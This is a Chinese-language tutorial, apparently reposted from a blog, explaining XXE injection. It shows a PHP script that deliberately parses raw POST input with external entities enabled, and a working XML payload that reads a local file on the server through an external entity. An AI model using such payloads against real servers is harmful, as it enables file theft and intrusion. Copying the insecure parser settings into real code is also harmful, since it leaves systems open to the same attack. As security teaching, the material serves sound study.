1. 程式人生 > >XXE漏洞

XXE漏洞

www 利用 ram simplex images file port note 加載xml文件

簡介


XXE (XML External Entity Injection) 漏洞發生在應用程序解析 XML 輸入時,沒有禁止外部實體的加載。

簡單的理解,一個實體就是一個變量,可以在文檔中的其他位置引用該變量。

實體主要分為四種:

  • 內置實體 (Built-in entities)
  • 字符實體 (Character entities)
  • 通用實體 (General entities)
  • 參數實體 (Parameter entities)

完整的介紹可以參考: DTD - Entities

到此網站學習一下:  http://www.w3school.com.cn/dtd/

           http://www.w3school.com.cn/xml

           http://www.w3school.com.cn/xml

           http://hublog.hubmed.org/archives/001854.html

           https://www.tutorialspoint.com/dtd/dtd_entities.htm

           http://blog.leanote.com/post/xuxi/XXE%E6%80%BB%E7%BB%93 //XXE總結

           https://security.tencent.com/index.php/blog/msg/69

           http://www.freebuf.com/articles/web/97833.html

危害:

對於 XXE 的危害,主要有:

  • 竊取敏感數據 (extracting sensitive data).
  • 遠程代碼執行 (remote code execution).
  • 攻擊者可以實現任意文件讀取,DOS拒絕服務攻擊以及代理掃描內網等.

舉例:

  • 服務器上面有一個xxeInject.php存在一個註入的文件,正常訪問。

技術分享

  • 文件內容:
<?php
#關閉Warning
error_reporting(E_ALL^E_NOTICE^E_WARNING);

#加載xml文件,不懂php://input 參考下面鏈接
#http://taoshi.blog.51cto.com/1724747/1165499
$xmlfile = file_get_contents(‘php://input‘); $dom = new DOMDocument(); # LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值 # LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "Hello DaLao:" . "<br>" . "$user"; ?>
  • 存在一個POST,XXE註入,所以我們構造代碼,進行註入,因為是測試,我新建了一個文件如:C://pass.txt,內容:ONDragon‘Password,我們就利用這個漏洞進行此文件的讀取。
  • 構造代碼:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ONDragon [
<!ELEMENT ONDragon ANY >
<!ENTITY xxe SYSTEM "file:///C://pass.txt" >]>
<creds>
    <user>&xxe;</user>
    <pass>ONDragon</pass>
</creds>
  • 我們打開火狐的Live Http這個小插件進行POST數據註入。

技術分享

技術分享

  • 把我們的POST數據包復制上去,然後Replay,就可以獲取C://pass.txt,內容:ONDragon‘Password啦。

技術分享

  • 可以看到利用它,可以查看服務器上的文件。
  • 命令執行得需要服務器有一個expect擴展插件,如果按照此插件,就可以進行遠程命令執行。
  • 此外還可以進行類似SSRF的攻擊,內網信息收集,端口掃描等等。

XXE漏洞